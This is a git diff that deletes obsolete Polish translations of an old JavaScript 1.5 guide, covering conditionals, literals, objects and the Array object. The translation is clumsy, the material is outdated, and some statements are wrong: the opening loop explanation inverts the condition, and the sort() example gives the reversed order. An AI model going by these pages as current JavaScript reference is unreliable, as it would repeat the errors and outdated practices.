Po uzupełnieniu trzeciego przejścia, warunek n < 3 jest wartość prawdziwa, więc pętla zostanie przerwana.

-

Przykład 2
- Nieskończoność pętli. Upewnij się czy warunek pętli ostatecznie staje się fałszywym; innym razem, pętla nigdy nie zostanie przerwana. Instrukcja w następującej pętli while występuje bezustannie, ponieważ warunek nigdy nie stanie się fałszywy.

-
while (true) {
-   alert("Hello, world") }
-
diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_warunkowe/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_warunkowe/index.html" deleted file mode 100644 index ce106856b6..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_warunkowe/index.html" +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Instrukcje warunkowe -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_warunkowe -tags: - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Conditional_Statements ---- -

-

-

Instrukcja warunkowa

-

Instrukcja warunkowa jest zestawem poleceń wykonywanych, jeżeli dany warunek jest spełniony JavaScript obsługuje dwie instrukcje warunkowe:if...else i switch. -

-

Instrukcja if...else

-

Instrukcja if powoduje wykonanie kodu źródłowego instrukcja1 tylko wtedy, gdy warunek logiczny jest spełniony. Jeżeli zostanie użyty poszerzony wariant instrukcji if, to po spełnieniu warunku zostanie wykonany kod instrukcja1 lecz w przeciwnym wypadku zostanie wykonany kod instrukcja2. Instrukcja if ma postać: -

-
if (warunek) {
-   instrukcja1
-}
-[else {
-   instrukcja2
-} ]
-
-

Jakiekolwiek wyrażenie w JavaScript może mieć warunek, który jest oceniany czy jest on prawdziwy lub fałszywy. Instrukcja wykonuje jakąkolwiek instrukcję zawartą w JavaScript, włączając pomoc zagnieżdżonym instrukcjom if. Jeśli chcesz użyć więcej niż po instrukcji if lub instrukcji else musisz otoczyć instrukcję nawiasami klamrowymi, {}. -

Nie powinieneś używać prostych zadań używając instrukcji warunkowej. Na przykład, nie używaj następującego kodu:

-
if(x = y)
-{
-   /* coś jest wykonywane */
-}
-
-

Jeśli potrzebujesz użyć instrukcji warunkowej, aby wykonać zadanie, wstaw dodatkowy nawias wokół zadania. Na przykład, użyj if( (x = y) ). -

Nie pomieszaj wartości prymitywnej logicznej true i false z true i false wartości logicznej obiektu. Jakikolwiek obiekt, którego wartość nie jest zidentyfikowana, null, zero, NaN, lub pusty łańcuch znaków, włączając obiekt logiczny, którego wartość jest fałszem staje się prawdziwy, kiedy przechodzi w instrukcję warunkową. Na przykład: -

-
var b = new Boolean(false);
-if (b) // ten warunek jest prawdziwy
-
-

Przykład
-Następujący przykład funkcji checkData zwraca true i numer czcionki w obiekcie Text są trzy; W drugą stronę, to wyświetli alert ostrzegawczy i zwróci Ci false. -

-
function checkData () {
-   if (document.form1.threeChar.value.length == 3) {
-      return true
-   } else {
-      alert("Enter exactly three characters. " +
-      document.form1.threeChar.value + " is not valid.")
-      return false
-   }
-}
-
-

Instrukcja switch

-

Instrukcja switch pozwala programowi na sprawdzenie ciągu warunków i próbuje wykonać wartość wyrażenia przypisana do odpowiedniej etykiety case. Jeśli jest to wyrażenie znalezione, program wykonuje załączoną instrukcję. Instrukcja switch wygląda w następujący sposób: -

-
switch (expression){
-   case label :
-      statement;
-      break;
-   case label :
-      statement;
-      break;
-   ...
-   default : statement;
-}
-
-

Najpierw program szuka etykietę odpowiedniego wyrażenia i wykonuje załączoną instrukcję. Jeśli znaleziona zostaje nie odpowiednia etykieta, program szuka domyślnej instrukcji i jeśli znajdzie wykonuje załączoną instrukcję. Jeśli nie domyślna instrukcja jest znaleziona, program kontynuuje wykonywanie instrukcji aż do końca instrukcji switch. -

Opcjonalnie instrukcja break połączona z każdą etykietą case zapewnia przerwanie programu z całego bloku switch odpowiednio raz jak jest wykonana instrukcja i kontynuuje wykonywanie następnej instrukcji switch. Jeśli opuszcza break, program kontynuuje wykonywanie aż do następnej instrukcji w switch. -

Przykład
-W następującym przykładzie, jeśli expr sprawdza "Bananas", program szuka odpowiednią wartość z case "Bananas" i wykonuje załączoną instrukcję. Kiedy napotka break, progaram przerywa switch. Jeśli break zostało opuszczone, instrukcja zostanie wykonana dla case "Cherries". -

-
switch (expr) {
-   case "Oranges" :
-      document.write("Oranges are $0.59 a pound.<BR>");
-      break;
-   case "Apples" :
-      document.write("Apples are $0.32 a pound.<BR>");
-      break;
-   case "Bananas" :
-      document.write("Bananas are $0.48 a pound.<BR>");
-      break;
-   case "Cherries" :
-      document.write("Cherries are $3.00 a pound.<BR>");
-      break;
-   default :
-      document.write("Sorry, we are out of " + i + ".<BR>");
-}
-
-document.write("Is there anything else you'd like?<BR>");
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Conditional_Statements", "fr": "fr/Guide_JavaScript_1.5/Instructions_conditionnelles", "ja": "ja/Core_JavaScript_1.5_Guide/Conditional_Statements" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/litera\305\202y/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/litera\305\202y/index.html" deleted file mode 100644 index 500db9cae6..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/litera\305\202y/index.html" +++ /dev/null @@ -1,208 +0,0 @@ ---- -title: Literały -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Literały -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Grammar_and_types -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Literals ---- -

-

-

Literały

-

Literałów używa się w celu przedstawiania wartości w JavaScript. Są one ustalonymi wartościami (a nie zmiennymi), które dosłownie podajesz w swoim skrypcie. Ten fragment opisuje następujące typy literałów:

- -

Literały tablicy

-

Literał tablicy jest listą składającą się z zera lub większej liczby wyrażeń, z których każdy reprezentuje element tablicy, a które zamknięte są w nawiasach kwadratowych ([]). Tablica tworzona za pomocą literału tablicy zostaje zainicjalizowana podanymi wartościami jako jej elementami, a jej długość jest ustalone według liczby podanych argumentów. -

Poniższy przykład tworzy tablicę kawy z trzema elementami i o długości trzy: -

-
kawy = ["Arabica", "Columbiana", "Zbożowa"]
-

Uwaga Literał tablicy jest typem inicjatora obiektu. Zobacz Używanie inicjatorów obiektu. -

Jeśli tablica została utworzona przy pomocy literału w skrypcie najwyższego poziomu, JavaScript interpretuje tablicę za każdym razem, gdy przelicza wyrażenie zawierające literał tablicowy. Dodatkowo literał użyty w funkcji jest tworzony przy każdym wywołaniu funkcji. -

Literały tablicy są także obiektami Array. Zobacz obiekt Array, aby uzyskać więcej informacji o obiektach Array. -

Dodatkowe przecinki w literale tablicy -

Nie musisz określać w literale tablicy wszystkich elementów. Jeśli postawisz kolejno dwa przecinki, zostanie utworzony obiekt array z pustym miejscem dla niesprecyzowanych elementów. Poniższy przykład tworzy tablicę ryba: -

-
ryba = ["Piła", , "Młot"]
-

Tablica ta posiada dwa elementy z wartościami i jeden pusty element (wartość ryba{{ mediawiki.external(0) }} to "Piła", ryba{{ mediawiki.external(1) }} jest niezdefiniowana, a ryba{{ mediawiki.external(2) }} to "Młot"): -

Jeśli na końcu listy elementów umieścisz dodatkowy przecinek, jest on ignorowany. W poniższym przykładzie długość tablicy jest równa trzy. Nie istnieje mojaLista{{ mediawiki.external(3) }}. Wszystkie inne przecinki w liście wskazują nowy element.

-
mojaLista = ['dom', , 'szkoła', ];
-

W kolejnym przykładzie długość tablicy jest równa cztery; nie zdefiniowano wartości dla mojaLista{{ mediawiki.external(0) }} i mojaLista{{ mediawiki.external(2) }}. -

-
mojaLista = [ , 'dom', , 'szkoła'];
-

W ostatnim przykładzie długość tablicy wynosi cztery i brakuje mojaLista{{ mediawiki.external(1) }} i mojaLista{{ mediawiki.external(3) }}. Tylko ostatni przecinek jest ignorowany. Jest on opcjonalny. -

-
mojaLista = ['dom', , 'szkoła', , ];
-

Literały logiczne

-

Typ logiczny posiada dwie wartości: true i false. -

Nie wolno mylić pierwotnych wartości logicznych true i false z wartościami prawda i fałsz (true/false) obiektu logicznego. Obiekt logiczny jest obiektem opakowującym pierwotnego typu danych logicznych. Zobacz obiekt Boolean, aby uzyskać więcej informacji. -

-

Literały całkowite

-

Liczby całkowite mogą być wyrażane jako dziesiętne (podstawa 10), szesnastkowe (podstawa 16) i ósemkowe (podstawa 8). Dziesiętny literał całkowity składa się z sekwencji cyfr bez czołowego 0 (zera). Czołowe 0 (zero) w literale całkowitym wskazuje na literał ósemkowy; Czołowe 0x (lub 0X) wskazuje na literał szesnastkowy. Liczby szesnastkowe mogą zawierać cyfry od 0 do 9 oraz litery a-f lub A-F. Ósemkowe literały całkowite mogą zawierać tylko cyfry od 0 do 7. -

Ósemkowe literały całkowite są wycofywane i zostały usunięte ze 3 edycji standardu ECMA-262. JavaScript 1.5 wciąż wspiera je dla kompatybilności wstecznej. -

Przykładami literałów całkowitych są: -

-
0, 117 i -345 (dziesiętne, podstawa 10)
-015, 0001 i -077 (ósemkowe, podstawa 8)
-0x1123, 0x00111 i -0xF1A7 (szesnastkowe, "hex" lub podstawa 16)
-
-

Literały zmiennoprzecinkowe

-

Literały zmiennoprzecinkowe mogą mieć następujące części: -

- -

Wykładnik stanowi "e" lub "E", po którym następuje liczba całkowita mogąca posiadać znak (poprzedzona przez "+" lub "-"). Literały zmiennoprzecinkowe muszą posiadać co najmniej jedną cyfrę; muszą także posiadać "e" (lub "E") bądź znak dziesiętny. -

Przykładami literałów zmiennoprzecinkowych są 3.1415, -3.1E12, .1e12 i 2E-12. -

Ściślej, składnia jest następująca: -

-
[cyfry][.cyfry][(E|e)[(+|-)]cyfry]
-
-

Na przykład: -

-
3.14
-2345.789
-.3333333333333333333
-
-

Literały obiektu

-

Literał obiektu stanowi ujęta w nawias klamrowy ({}) lista składająca się z zera lub większej liczby par, które stanowią nazwa własności obiektu oraz przypisana jej wartość. Nie powinno się używać literału obiektu na początku instrukcji. Doprowadzi to do wystąpienia błędu lub nieoczekiwanych zachowań, gdyż { zostanie zinterpretowany jako początek bloku. -

Poniżej podany jest przykład literału obiektu. Pierwszy element obiektu auto definiuje własność mojeAuto; drugi element, własność pobierzAuto, wywołuje funkcję (TypyAut("Polonez")); trzeci element, własność specjalne, używa istniejącej zmiennej (Sprzedaz). -

-
var Sprzedaz = "Toyota";
-
-function TypyAut(nazwa) {
-   if(nazwa == "Polonez")
-      return nazwa;
-   else
-      return "Przykro nam, ale nie sprzedajemy marki " + nazwa + ".";
-}
-
-auto = {mojeAuto: "Caro", pobierzAuto: TypyAut("Polonez"), specjalne: Sprzedaz}
-
-document.write(auto.mojeAuto); // Caro
-document.write(auto.pobierzAuto); // Polonez
-document.write(auto.specjalne); // Toyota
-

Dodatkowo, możesz użyć literału znakowego lub liczbowego jako nazwy własności lub zagnieździć obiekt wewnątrz innego. Ilustruje to poniższy przykład. -

-
auto = {wieleAut: {a: "Saab", b: "Jeep"}, 7: "Mazda"}
-
-document.write(auto.wieleAut.b); // Jeep
-document.write(auto[7]); // Mazda
-
-

Zauważ: -

-
foo = {a: "alfa", 2: "dwa"}
-document.write (foo.a)    // alfa
-document.write (foo[2])   // dwa
-//document.write (foo.2)  // Błąd: brakuje ) po liście argumentów
-//document.write (foo[a]) // Błąd: a nie jest zdefiniowane
-document.write (foo["a"]) // alfa
-document.write (foo["2"]) // dwa
-
-

Literały znakowe

-

Literały znakowe to zero lub więcej znaków zamkniętych w podwójnych (") lub pojedynczych (') znacznikach cytatu. Łańcuch znaków musi być ograniczony przez znaczniki tego samego typu, a więc obydwa pojedyncze lub obydwa podwójne znaki cytatu. Poniżej umieszczono przykłady literałów znakowych: -

- -

Możesz wywołać dowolną metodę obiektu String na wartości literału znakowego - JavaScript automatycznie skonwertuje literał znakowy do tymczasowego obiektu String, wywoła metodę, a następnie pozbędzie się tymczasowego obiektu String. Możesz również użyć własności String.length z literałem znakowym: -

- -

Powinieneś użyć literału znakowego, chyba że potrzebujesz szczególnie obiektu String. Zobacz obiekt String, aby uzyskać szczegółowe informacje o obiektach String. -

-
Używanie specjalnych znaków w łańcuchach
-

Dodatkowo oprócz znaków zwykłych możesz także włączyć do łańcuchów specjalne znaki, tak jak pokazano w przykładzie:

-
"pierwsza linia \n następna linia"
-

Poniższa tabela przedstawia znaki specjalne, które możesz użyć w łańcuchach znaków JavaScript. -

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ZnakZnaczenie
\bBackspace
\fNowa strona
\nNowa linia
\rPowrót karetki
\tTabulacja
\vTabulacja pionowa
\'Apostrof lub pojedynczy cudzysłów
\"Podwójny cudzysłów
\\Lewy ukośnik (\).
\XXXZnaki z kodowaniem Latin-1 określone przez do trzech cyfrósemkowych XXX pomiędzy 0 i 377. Na przykład \251 jest sekwencją ósemkową dla symbolu copyright.
\xXXZnaki z kodowaniem Latin-1 określone przez dwie cyfry szesnastkowe XX pomiędzy 00 i FF. Na przykład \xA9 jest szesnastkową sekwencją dla symbolu copyright.
\uXXXXZnak Unicode określony przez cztery cyfry szesnastkowe XXXX. Na przykład \u00A9 jest sekwencją Unicode dla symbolu copyright. Zobacz Sekwencje ucieczki do Unicode.
-

Tabela 2.1: Znaki specjalne w JavaScript -

-
Znaki ucieczki
-

Dla znaków niewymienionych w tabeli powyżej, poprzedzający znak backslash jest ignorowany, ale użycie tego jest wycofywane i powinno być unikane. -

Możesz wstawić znak cudzysłowu wewnątrz łańcucha znaków poprzedzając go znakiem backslash. Znane jest to jako kodowanie (escaping) znaków cudzysłowu. Na przykład: -

-
var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service."
-document.write(quote)
-
-

Rezultatem tego będzie: -

-
He read "The Cremation of Sam McGee" by R.W. Service.
-
-

Aby użyć literału backslash w łańcuchu znaków, musisz zastosować znak backslash. Na przykład, aby przydzielić plikowi ścieżkę c:\temp do łańcucha znaków, użyj następującej konstrukcji: -

-
var home = "c:\\temp "
-
-

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Stałe", "Przewodnik po języku JavaScript 1.5:Unicode") }} -


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Literals", "es": "es/Gu\u00eda_JavaScript_1.5/Literales", "fr": "fr/Guide_JavaScript_1.5/Constantes_litt\u00e9rales", "ja": "ja/Core_JavaScript_1.5_Guide/Literals", "ko": "ko/Core_JavaScript_1.5_Guide/Literals", "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u6587\u672c\u5316" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/o_tym_przewodniku/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/o_tym_przewodniku/index.html" deleted file mode 100644 index 0fd0f2ec8a..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/o_tym_przewodniku/index.html" +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: O tym przewodniku -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku -tags: - - JavaScript - - Przewodnik_JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie ---- -

Nowe możliwości wersji JavaScriptu

- - - -

Co już powinieneś wiedzieć

- -

Ten dokument zakłada, że jego czytelnik ma podstawowe pojęcie na temat niżej wymienionych dziedzin:

- - - -

Przydatne, aczkolwiek nie wymagane, jest doświadczenie w językach programowania takich jak C czy Visual Basic.

- -

Wersje JavaScriptu

- -

Każda wersja przeglądarek Netscape Navigator, Mozilla i Mozilla Firefox obsługuje różne wersje języka JavaScript. Aby ułatwić pisanie skryptów zgodnych z różnymi wersjami przeglądarek Netscape/Mozilla/Firefox, w każdym rozdziale poświęconym danej możliwości języka podajemy listę wersji JavaScriptu obsługujących daną funkcjonalność.

- -

Poniższa tabela zawiera numery wersji JavaScriptu i odpowiadające im numery wersji przeglądarek te wersje obsługujących. Wersje Netscape Navigatora starsze niż 2.0 nie obsługują JavaScriptu.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Wersja JavaScriptWersja Navigatora
JavaScript 1.0Navigator 2.0
JavaScript 1.1Navigator 3.0
JavaScript 1.2Navigator 4.0-4.05
JavaScript 1.3Navigator 4.06-4.7x
JavaScript 1.4 
JavaScript 1.5Navigator 6.0
- Mozilla (przeglądarka open source)
JavaScript 1.6Firefox 1.5, other Mozilla 1.8-based products
JavaScript 1.7Firefox 2, other Mozilla 1.8.1-based products
JavaScript 1.8Firefox 3, other Gecko 1.9-based products
- -

Tablica 1: Wersje JavaScriptu oraz Navigatora
-  

- -

Każda wersja serwera Netscape Enterprise Server także obsługuje inną wersję JavaScriptu. Aby ułatwić pisanie skryptów zgodnych z różnymi wersjami Enterprise Server, w każdym rozdziale poświęconym danej możliwości języka podajemy wersję NES/FES, w której zaimplementowano daną funkcjonalność.

- - - - - - - - - - - - - - - - -
SkrótWersja Enterprise Server
NES 2.0Netscape Enterprise Server 2.0
NES 3.0Netscape Enterprise Server 3.0
- -

Tablica 2: Skróty oraz wersje Netscape Enterprise Server

- -

Gdzie szukać informacji o JavaScripcie

- -

Na kompletną bazę informacji o języku JavaScript składają się następujące dokumenty:

- - - -

Jeśli JavaScript stanowi dla Ciebie nowość, zacznij od Przewodnika po języku JavaScript 1.5. Kiedy posiądziesz już podstawową wiedzę, możesz skorzystać z Dokumentacji języka JavaScript 1.5, by szybko odnaleźć konkretne informacje na temat obiektów i poleceń.

- -

Wskazówki do nauki JavaScript

- -

Rozpoczęcie pracy z JavaScript jest proste: wszystko czego potrzebujecie to nowoczesna przeglądarka internetowa. Ten przewodnik zawiera elementy JavaScript, które są rozpoznawalne jedynie w ostatnich najnowszych wersji przeglądarki Firefox (lub w innych opartych na silniku Gecko przeglądarkach), dlatego zaleca się używanie jak najnowszej wersji przeglądarki Firefox.

- -

Interaktywny interpreter

- -

Do nauki języka zachęca wspaniały interpreter, który umożliwia pełną interaktywność bez zapisywania i odświeżania strony. Konsola błędów Firefox, dostępna w menu narzędzia, oferuje łatwy, interaktywny, sposób wykonywania skryptów JavaScript: po prostu wejdź na linię kodu oraz kliknij przycisk "Evaluate".

- -

Image:ErrorConsole.png

- -

Firebug

- -

Bardziej zaawansowana interaktywna podpowiedź dostępna jest pod adresem: Firebug, trzecia część rozszerzenia Firefox. Firebug dostarcza zarówno zaawansowany kontroler DOM, jak i debuger JavaScript oraz przydatne narzędzia i różne inne programy użytkowe:

- -

Image:Firebug.png

- -

jedno z najbardziej użytecznych ułatwień oferowanych przez Firebug w console.log(), funkcja która zapisuje jego argumenty do konsoli Firebug. W przeciwieństwie do innych języków programowania w JavaScript nie ma możliwości pisania na standardowym wyjściu. console.log() stanowi pożyteczną alternatywę obserwowania bardzo łatwo tego co twój program robi.

- -

Wiele przykładów w tym przewodniku używa alert() do zobaczenia komunikatów z ich wykonania. Jeśli masz zainstalowanego Firebug możesz użyć console.log() w miejsce alert() w czasie działania tych przykładów.

- -

Konwencje dokumentu

- -

Aplikacje JavaScript działają pod wieloma systemami operacyjnymi; informacje zawarte w tym przewodniku dotyczą ich wszystkich. Ścieżki plików i katalogów są podane w formacie Windows (z odwrotnym ukośnikiem oddzielającym nazwy folderów). Pod Uniksami ścieżki są te same, wystarczy jedynie zastąpić odwrotny ukośnik\ zwykłym ukośnikiem/ .

- -

Przewodnik ten używa uniform resource locators (adresów URL) w następującej formie:

- -

http://server.domain/path/file.html

- -

W tym adresie URL, "serwer" reprezentowany jest poprzez nazwę znajdującą się na serwerze w której uruchomisz aplikacje, także jako poszukiwane słowo lub strona WWW; "domena" reprezentowana jest poprzez twoją nazwę domeny w internecie, tak jak netscape.com lub uiuc.edu; "ścieżki" reprezentują strukturę katalogów na tym serwerze, a "file.html" reprezentuje indywidualną nazwę pliku. Generalnie pozycje, które mają w ścieżce kursywę, która jest osadzona i jest ona normalną czcionką literową. Jeśli twój serwer posiada Secure Sockets Layer (SSL), będziesz używał protokołu https zamiast http w adresie URL.

- -

Przewodnik ten stosuje z następującą konwencją czcionki:

- -
-
Czcionka monospace
-
Jest użyta do prostych kodów oraz ich listingów, API i elementy języka (także jako metody i nazwy własności), nazwa pliku, nazwa ścieżki, nazwa katalogu, tagi HTML i jakiś tekst musi być zadeklarowany przy wyświetlaniu. (Kursywa czcionki Monospace jest użyta w osadzonych miejscach klasera w kodzie strony).
-
Kursywa 
-
Jest użyta dla tytułów, nagłówków, zmiennych i specjalnych miejscach, i słów użytych w dosłownym znaczeniu.
-
Boldface 
-
Typ używany do terminów słownikowych.
-
- -

{{ PreviousNext("Przewodnik po języku JavaScript 1.5", "Przewodnik po języku JavaScript 1.5:Przegląd JavaScriptu") }}

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_i_w\305\202asno\305\233ci/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_i_w\305\202asno\305\233ci/index.html" deleted file mode 100644 index 5f4df2019b..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_i_w\305\202asno\305\233ci/index.html" +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Obiekty i własności -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_i_własności -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Working_with_Objects -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Objects_and_Properties ---- -

-

-

Obiekty i własności

-

Obiekty JavaScript łączą się z ich własnościami. Do własności obiektu odwołujesz się za pomocą prostego zapisu: -

-
objectName.propertyName
-
-

Wielkości znaków w nazwie mają znaczenie zarówno w przypadku obiektu jak i jego własności. Własności definiujesz poprzez przypisanie do niej wartości. Na przykład, przypuśćmy, że mamy obiekt o nazwie myCar (na razie załóżmy że ten obiekt już istnieje). Możesz zadeklarować (i jednocześnie zdefiniować) własności make, model i year tego obiektu następująco: -

-
myCar.make = "Ford";
-myCar.model = "Mustang";
-myCar.year = 1969;
-
-

Tablica jest uporządkowanym zbiorem wartości związanych z pojedynczymi nazwami zmiennych. Własności i tablice są w języku JavaScript bardzo ze sobą powiązane; właściwie są różnymi reprezentacjami tej samej struktury danych. Na przykład możesz wywoływać własności obiektu myCar następująco: -

-
myCar["make"] = "Ford"
-myCar["model"] = "Mustang"
-myCar["year"] = 1967
-
-

Ten typ tablicy nazywa się tablicą asocjacyjną (czasem listą asocjacyjną), ponieważ każdy jej element jest związany także z pewną wartością typu String. Ilustracją tego mechanizmu działania jest niżej zamieszczona funkcja wyświetlająca własności obiektu, który jest jej pierwszym argumentem podczas wywołania: -

-
function show_props(obj, obj_name) {
-   var result = "";
-   for (var i in obj)
-      result += obj_name + "." + i + " = " + obj[i] + "\n";
-   return result
-}
-
-

Więc funkcje call show_props(myCar, "myCar") zwróciły następująco: -

-
myCar.make = Ford
-myCar.model = Mustang
-myCar.year = 1967
-
-

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Funkcje predefiniowane:Funkcje escape i unescape", "Przewodnik po języku JavaScript 1.5:Tworzenie nowych obiektów") }} -

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Objects_and_Properties", "es": "es/Gu\u00eda_JavaScript_1.5/Objetos_y_propiedades", "fr": "fr/Guide_JavaScript_1.5/Objets_et_propri\u00e9t\u00e9s", "ja": "ja/Core_JavaScript_1.5_Guide/Objects_and_Properties" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/index.html" deleted file mode 100644 index 7a1b84d5a1..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Obiekty predefiniowane -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Predefined_Core_Objects ---- -

-

-

Obiekty predefiniowane

-

Artykuł opisuje obiekty predefiniowane w JavaScript:

- -{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Core_Objects", "es": "es/Gu\u00eda_JavaScript_1.5/Objetos_base_predefinidos", "fr": "fr/Guide_JavaScript_1.5/Objets_pr\u00e9d\u00e9finis", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Core_Objects", "ko": "ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_array/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_array/index.html" deleted file mode 100644 index 9befbd17cc..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_array/index.html" +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Obiekt Array -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Obiekt Array

-

JavaScript nie ma wyraźnych danych typu - - array - . Jednakże, możesz użyć predefiniowanego obiektu Array i jego metod do pracy z tabelami w twojej aplikacji. Obiekt Array posiada metody do manipulacji tablicami w zmiennych przypadkach, także jako łączyć, odwraca je na lewą stronę, i sortuje je. Decydując o długości - - array - i innych właściwości użytych w wyrażeniach regularnych.

-

- - array - jest uporządkowane ustawienia wartości, które odsyłają do nazwy i indeksu. Na przykład, możesz mieć tablice nazwaną emp, która stanowi nazwę indeksu przez jego numer pracownika. Więc emp{{ mediawiki.external(1) }} będzie pracownik z numerem jeden, emp{{ mediawiki.external(2) }} pracownik z numerem dwa i tak dalej.

-

Tworzenie tablicy

-

Utwórz obiekt Array:

-
1. arrayObjectName = new Array(element0, element1, ..., elementN)
-2. arrayObjectName = new Array(arrayLength)
-
-

arrayObjectName jest nazwą nowego obiektu lub właściwości istniejącego obiektu. Kiedy używamy właściwości i metody Array, arrayObjectName jest nazwą istniejącego obiektu Array lub właściwość istniejącego obiektu.

-

element0, element1, ..., elementN jest listą wartości dla elementów tablicowych. Kiedy ta forma określa, inicjowanie tablicy z określoną wartością jako jego elementy i właściwości długości tablicowej, która jest ustawiona jako liczby lub argumenty.

-

arrayLength jest inicjowanie długości w tablicy. Następujący kod tworzy tablice na pięć elementów:

-
billingMethod = new Array(5)
-
-

Literały Array sa także obiektami Array; na przykład, następujący literał jest obiektem Array. Zobacz Literały tablicy aby uzyskać więcej szczegółów.

-
coffees = ["French Roast", "Columbian", "Kona"]
-
-

Zapełnienie tablicy

-

Możesz wypełnić tablicę przydzielonymi wartościami elementów. Na przykład,

-
emp[1] = "Casey Jones"
-emp[2] = "Phil Lesh"
-emp[3] = "August West"
-
-

Możesz także wypełnić tablicę jeśli utworzysz:

-
myArray = new Array("Hello", myVar, 3.14159)
-
-

Kierowanie do elementu tablicy

-

Kierowanie do elementu tablicy używając przypisanie numeru odpowiedniemu elementowi. Na przykład, przypuśćmy, że zdefiniujesz następującą tablice:

-
myArray = new Array("Wiatr","Deszcz","Ogień")
-
-

Następnie kieruje się do pierwszego elementu tablicy jako myArray{{ mediawiki.external(0) }} i drugi element tablicy jako myArray{{ mediawiki.external(1) }}. Indeks elementów zaczyna się wraz z zerem (0), ale długość tablicy (na przykład, myArray.length) odzwierciedla numer elementów w tablicy.

-

Metody

-

Obiekt Array posiada następujące metody:

- -

Na przykład, przypuśćmy, że zdefiniujemy następującą tablice:

-
myArray = new Array("Wiatr","Deszcz","Ogień")
-
-

myArray.join() zwraca "Wiatr","Deszcz","Ogień"; myArray.reverse transportuje tablicę więc, który myArray[0] jest "Ogień", myArray{{ mediawiki.external(1) }} jest "Deszcz", i myArray{{ mediawiki.external(2) }} jest "Wiatr". myArray.sort sortuje tablicę więc, który myArray{{ mediawiki.external(0) }} jest "Ogień", myArray{{ mediawiki.external(1) }} jest "Deszcz", i myArray{{ mediawiki.external(2) }} jest "Wiatr".

-

Tablice dwuwymiarowe

-

Następujący kod tworzy tablicę dwuwymiarową.

-
a = new Array(4)
-for (i=0; i < 4; i++) {
-   a[i] = new Array(4)
-   for (j=0; j < 4; j++) {
-      a[i][j] = "["+i+","+j+"]"
-   }
-}
-
-

Ten przykład tworzy tablicę z następującymi wierszami:

-
Row 0:[0,0][0,1][0,2][0,3]
